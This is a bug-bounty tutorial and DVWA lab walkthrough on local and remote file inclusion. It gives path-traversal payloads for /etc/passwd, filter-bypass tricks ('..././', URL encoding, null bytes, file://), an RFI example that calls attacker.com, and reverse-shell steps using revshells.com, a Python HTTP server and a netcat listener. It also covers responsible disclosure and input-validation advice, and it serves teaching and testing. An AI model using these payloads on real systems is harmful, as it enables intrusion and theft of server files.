Learn About Local File Inclusion

Learn About Local File Inclusion

Hey bug bounty hunters! Let's dive into one of the trickier vulnerabilities out there: Local File Inclusion, or LFI. This vulnerability is very similar to a known one, which is directory/path traversal. It's really fun to look for this vulnerability, which has some impact on an environment. Most companies pay a lot of cash if you can access sensitive credentials or passwords for their infrastructure. However, I do admin; it's difficult to actually find spots to test this since you could be limited by URL parameters or file upload mechanisms.

What is LFI?

At its core, LFI is a vulnerability that lets attackers trick your website into revealing files it shouldn't. This could be anything from configuration files (think passwords, API keys) to source code, or even sensitive user data. The attacker manipulates how your site includes files, usually by messing with parameters in the URL.

Using LFI, an attacker can retrieve files from the local server and execute the local server’s files.

I hope you are fine and healthy during these hard time and I was testing a bug crowd program, then at the time of testing, I put the URL https://test.com/page.php?article=/etc/passwd file path in the URL of the website.

Then I saw that the website is loaded as soon as the website loads and the website was showing its own internal directory path. You can see in the below image πŸ‘‡πŸ‘‡

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

By including LFI payloads in the URL, we can find the web application's local file inclusion vulnerability.

../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd ← Correct Path

Why LFI is Dangerous

● Information Disclosure: Attackers can access sensitive data, potentially leading to breaches, identity theft, or worse.

● Remote Code Execution (RCE): In some cases, LFI can escalate into RCE, giving attackers complete control over your server. This is the worst-case scenario.
● Defacement: Attackers might alter your website's content, causing damage to your reputation.

How to Spot LFI

1. Parameter Tampering: Look for URLs that include parameters like page=, file=, doc=, etc. These are often where the vulnerability lies.
2. Directory Traversal:
Try adding ../ (dot dot slash) to the parameter's value. This attempts to navigate up the file system. If you see different content or errors, you might be onto something.
3. Null Byte Injection: Add a null byte (%00) to the end of the file path. Some systems stop processing after the null byte, potentially bypassing filters.
4. Log File Poisoning: If you can inject code into log files, you might be able to trigger it through an LFI. This is a more advanced technique.

Example:

Let's say you find a URL like this:

https://example.com/news.php?article=latest

You could try:

https://example.com/news.php?article=../../../etc/passwd

If you see the contents of the /etc/passwd file(which contains user information), you've found an LFI.

This vulnerability is a favorite among attackers because it's like a skeleton key, potentially unlocking a treasure trove of sensitive information hidden within your web applications.

What Makes LFI Tick?

Think of your web application as a library, filled with books (files) containing valuable information. Normally, you'd use the library's catalog system (the application's code) to request a specific book. But with LFI, attackers manipulate this system to access books they shouldn't be able to read, like confidential documents or even the library's blueprints.

LFI occurs when an application takes user input (e.g., a filename or path) and uses it directly to include a file without proper validation. This allows attackers to inject malicious paths or filenames, tricking the application into revealing files outside its intended scope.

The Many Faces of LFI

LFI isn't a one-trick pony. It comes in various flavors, each with its own level of danger:

● Basic LFI: Attackers directly access files within the web server's root directory or a specific folder.
● Path Traversal LFI: Attackers navigate through directories using ../ to access files outside the intended directory.
● Filter Bypass LFI: Attackers bypass security filters by using encoding techniques, null bytes, or other tricks.
● Remote File Inclusion (RFI): A more dangerous variant where attackers include files from external servers, potentially leading to Remote Code Execution (RCE).

Finding LFI is like a treasure hunt, but instead of gold, you're seeking vulnerabilities. Here's your treasure map:

1. Identify Potential Entry Points: Look for parameters in URLs, forms, or cookies that might be used to include files. Common parameters include page, file, doc, path, etc.

2. Test for Basic LFI: Try replacing the parameter value with the path to a known file, like /etc/passwd (on Unix systems) or C:\Windows\win.ini (on Windows). If the file's contents are displayed, you've found an LFI.

3. Explore with Path Traversal: Use ../ to move up the directory structure. For example, try /../../../etc/passwd.
If you can access files outside the web root, it's a clear sign of LFI.

4. Bypass Filters: Experiment with different encoding techniques, like URL encoding (%2e%2e%2f for ../) or double URL encoding (%252e%252e%252f). Also, try adding a null byte (%00) to the end of the file path to see if it bypasses filters.

5. Leverage Log Files: If you can inject code into log files, you might be able to trigger it through LFI. This is a more advanced technique, but it can be very effective.

Real-World Examples

● Image Uploads: An LFI vulnerability in an image upload feature could allow attackers to upload a malicious PHP file and then execute it through the LFI.
● Dynamic Includes: Applications that dynamically include files based on user input are prime targets for LFI.
● Content Management Systems (CMS): Many CMS platforms have been found to have LFI vulnerabilities, so it's always a good idea to check for known issues.

Responsible Disclosure

Remember, with great power comes great responsibility. If you find an LFI vulnerability, report it to the website owner through their bug bounty program or a responsible disclosure process. Don't exploit the vulnerability for malicious purposes and verify you are not breaking any rules.

Let's Keep Learning!

LFI is a vast topic, and there's always more to learn. If you're interested in diving deeper, I can share more advanced techniques, case studies, and resources. Let's work together to make the web a safer place!

Exploiting LFI

Web applications are at risk from File Inclusion Attacks, which allow attackers to manipulate file inclusion and may result in remote code execution. This article investigates how to attack vulnerabilities in a web application's Local File Inclusion (LFI) and Remote File Inclusion (RFI) at three different security levels: Low, Medium, and High. The intention is to draw attention to the consequences of inadequate input validation and the significance of secure coding techniques.

A File Inclusion Attack: What Is It?

A security flaw known as a "file inclusion attack" allows a hacker to use a PHP script to include a file on a web server. When a web application allows users to upload or enter files, a vulnerability occurs. In contrast to a typical Directory Traversal Attack, which targets unauthorized access to the file system, a file inclusion vulnerability modifies the way an application loads code in order to execute it. A file inclusion vulnerability can be used to remotely execute code on the web server running the compromised application.

File inclusion attacks fall into two primary categories: Remote File Inclusion (RFI) and Local File Inclusion (LFI).

1. Local File Inclusion (LFI):

● An LFI attack involves the use of a web application's vulnerabilities by the attacker to include and run local files on the server. This implies that any files on the server, including system files, configuration files, and other confidential data, can be viewed by the attacker.
● Web applications that use user inputβ€”such as file locations or parametersβ€”without sufficient validation or sanitization are frequently the subject of LFI attacks.

An example of a vulnerable LFI URL is:

http://vulnerable.com/index.php?page=../../etc/passwd

The presence of the /etc/passwd file could result from a vulnerability in the web application.

2. Remote File Inclusion (RFI):

● A more serious kind of file insertion assault is known as RFI. An attacker may use files from a remote server in an RFI attack. This implies that the attacker has the ability to run any code housed on an external server, which could result in the targeted system being fully compromised.
● Because they enable attackers to insert and run malicious code on the server, RFI attacks are very risky.

An example of a vulnerable RFI URL is:

http://vulnerable.com/index.php?=http://attacker.com/malicious.php

Should the web application be weak, this could result in external code being executed.

Techniques

Low Level of Security (LFI):

● Showed off a basic LFI vulnerability using the Damn Vulnerable Web Application (DVWA).
● Obtained and hosted on a local server a PHP reverse shell from revshells.com.
● Inserted the reverse shell script by manipulating the URL's `page` parameter and successfully used the vulnerability to obtain a reverse shell.

Level of Medium Security (LFI):

● Investigated a more secure situation that included more input validation.
● Flaws in the input validation system based on str_replace were discovered.
● Attempted to use inventive patterns like `…/./` to get around the validation.
● Created a URL that eluded the validation, thereby exploiting the vulnerability.

High Level of Security (LFI):

● Examined a more secure level of analysis wherein fnmatch pattern matching is used for input validation.
● Acknowledged that the validation lacked enough strength.
● Used the `file://` protocol, which wasn't filtered by fnmatch, to exploit the vulnerability.
● Showed how to include private files like `/etc/passwd`.

Levels of Low and Medium Security (RFI):

● Attempted to incorporate a remote PHP reverse shell in order to investigate RFI vulnerabilities.
● Setup a Python HTTP server in order to run the shell script in reverse.
● Changed the URL's `page` parameter to include the remote PHP script.
● Successfully exploited the RFI vulnerability to gain a reverse shell.

High Level of Security (RFI):

● Acknowledged that external content could not be included due to security restrictions.
● Realized that only files with the extension "include.php" or those beginning with "file" are accepted by the web server.
● Concluded that the strict input validation makes RFI impractical.

Local File Inclusion:

1: Low

Start up your computer, go to the Damn Vulnerable Web Application (DVWA), log in, select the security tab, and adjust the difficulty level to "low."

Source code:
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

The value of the 'page' parameter from the GET request is allocated to the variable $file. We can simply modify the URL because PHP uses the $_GET superglobal to access data from the URL.

http://127.0.0.1:8888/vulnerabilities/fi/?page=../../../../../../etc/passwd

Why did this occur?

The input supplied by the user is not verified or cleaned. Users can enter arbitrary data, including file paths, because there is no validation in place. This can be used maliciously.

2. Medium

Source code:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

Let's dissect the given PHP code point by point:

Code Dissection:

● `$_GET['page']`: This method extracts the value of the URL query string's 'page' parameter. The page to be displayed is supposed to be specified by this value.
● The "http://" and "https://" prefixes are removed from the `$file` variable by `str_replace(array("http://", "https://"), "", $file)` β€”this is likely to limit access to files on other servers.
● Removing "../" and ".." sequences from the `$file` variable in an effort to prevent path traversal attacks that attempt to access files outside of the designated directory is the goal of `str_replace(array("../", "..\""), "", $file)`.

An attempt to bypass:

● The forbidden strings `../../../` and `..\..\..\..\` are typical path traversal tries to go through several directory tiers.
● As a workaround, the attacker attempted `..././..././..././..././..././..././..././././`.

http://127.0.0.1:8888/vulnerabilities/fi/page=..././..././..././..././..././..././..././etc/passwd

The Reason It Was Effective:

● Loose Pattern Matching: Strict string matching was employed by the str_replace function to search for precise sequences of "../" or ".." Variations such as `..././` were not taken into account.
● Comparable Routes: To navigate the file system, the string `..././` is basically the same as `../`. It goes through the filter, but the extra slashes and dots moved it up one directory level.

3. High

vulnerabilities/fi/source/high.php
<?php

// The page we wish to display
$file = $_GET[ β€˜page’ ];

// Input validation
if( !fnmatch( β€œfile*”, $file ) && $file != β€œinclude.php” ) {
// This isn’t the page we want!
echo β€œERROR: File not found!”;
exit;
}

?>
1. User Input Capture: Using `$_GET['page']`, the code retrieves user input from the URL's 'page' parameter and assigns it to the variable `$file`. This is how user-supplied data is often retrieved from URLs.

2. Validation of Input: Pattern matching is done with the fnmatch function. The if statement's condition determines whether or not the value of `$file` equals "include.php" and does not match the pattern "file*" (that is, it does not begin with "file").

3. Conditional Check: The code inside the conditional block is run if the condition evaluates to true, indicating that the input does not match the predetermined requirements.

4. Error Handling: "ERROR: File not found!" is the error message that is echoed to the user inside the conditional block. This notice informs you that the input validation rules do not permit the requested file.

5. Script Termination: The script's execution is then stopped by calling the exit function. This makes sure that the script doesn't run any more code if the input is invalid, preventing the insertion of unauthorized files.

Vulnerability:

● Inadequate Validation: The validation is conducted using an insufficient fnmatch function. It leaves room for exploitation because it just verifies if the filename ends in "file" or is precisely "include.php".

Exploit:

http://127.0.0.1:8888/vulnerabilities/fi/?page=file:///etc/paswd

● Manipulating File Paths: By supplying :file:///etc/passwd as the page parameter, the attacker created a malicious file path.
● Getting Around Validation: The attacker was able to bypass the check because the fnmatch function failed to filter the :file:// prefix, which is frequently used to access local files in browsers.
● Getting to a Private File: It is possible that the application included the specified file, inadvertently disclosing the contents of the sensitive file /etc/passwd, which holds user account information.

The Reason It Was Effective:

● Loose Validation: Potential URL schemes like `file://` were not handled by the fnmatch function, which only looked for certain filename patterns.
● File Protocol Handling: It is possible that the program included the given file because it saw `:file://` as a legitimate file path.

Remote File Inclusion

1. Low

1. Readiness:
Obtaining the Reverse Shell

● Go to https://revshells.com and download PHPPentestMonkey's reverse shell (PHP).

Configure an HTTP server for Python:

● To serve the reverse shell script, `python3 -m http.server 80` was used to start a basic HTTP server.

2. Configuring the Listener:

● Use the command `nc -lnvp <port>` to create a Netcat listener that will watch for incoming connections on that particular port.

3. Taking Advantage of the LFI Vulnerability

● Changed the URL's "page" argument to include the reverse shell script that was stored on your computer:

http://127.0.0.1:8888/vulnerabilities/fi/page=http://10.0.2.16/revsh.php

● Reached the faked URL, which resulted in the web application including the remote PHP script and opening the LFI vulnerability.

How to Get the Reverse Shell:

● Owing to the reverse shell script's successful insertion, a connection to your Netcat listener was made.
● With an interactive shell now available on the target system, you can interact and run commands on the compromised system.

Medium (RFI)

1. Getting Ready:
Acquired Reverse Shell:

● Acquired a PHP reverse shell from https://revshells.com, akin to the "Low" level.
● Kept up the Python HTTP server in order to provide the shell script in reverse.

Setup the Listener:

● Continue to monitor inbound connections with the Netcat listener.

Taking Advantage of the LFI Vulnerability

Modified the URL for the "Medium" level slightly and added the reverse shell script hosted on your computer by manipulating the "page" parameter:

http://127.0.0.1:8888/vulnerabilities/fi/?page=http://10.0.2.16/revsh.php

Accessed the spoof URL, taking advantage of the LFI flaw to insert the external PHP script into the web application.

Getting the Reverse Shell:

As with the "Low" level, a connection to your Netcat listener was made possible by the reverse shell script's successful inclusion.
Execution of Command:

With the target system, you now have access to an interactive shell that lets you run commands and communicate with the compromised system further.

Hard

It is not possible to take advantage of the high difficulty level with Remote File Inclusion (RFI), as the source page states. It is acknowledged that the target web server does not support the addition of external server content and will only accept files with the extension "include.php" or files that start with the word "file."

Results Common Weaknesses:

● Common weaknesses were limited pattern matching and inadequate input validation across various security levels.

Techniques of Exploitation:

● Manipulate URL parameters to browse directories and include external files in order to exploit LFI.
● Use differences in file path formats to get around input validation.
● Successful RFI attacks were demonstrated by integrating remote PHP scripts.

Advice

Validation of Input:

Apply thorough input validation while taking different file path formats into account.
For accurate pattern validation and matching, use regular expressions.

Whitelisting:

To lower the possibility of unwanted inclusions, think about whitelisting acceptable values for file inclusion.

If File Inclusion Attacks are not fixed, serious security lapses may result. You have learn how to exploit RFI and LFI vulnerabilities at various security levels. It emphasizes how crucial it is for developers to receive ongoing security training, secure coding techniques, and comprehensive input validation. Web applications can greatly lower their vulnerability to file inclusion vulnerabilities and improve overall security by implementing these guidelines.

Happy Hacking

Author: Ayush khatkar is a cybersecurity researcher, technical writer and an enthusiastic pen-tester at Asecurity. Contact here.

#bugbounty #infosec #cybersecurity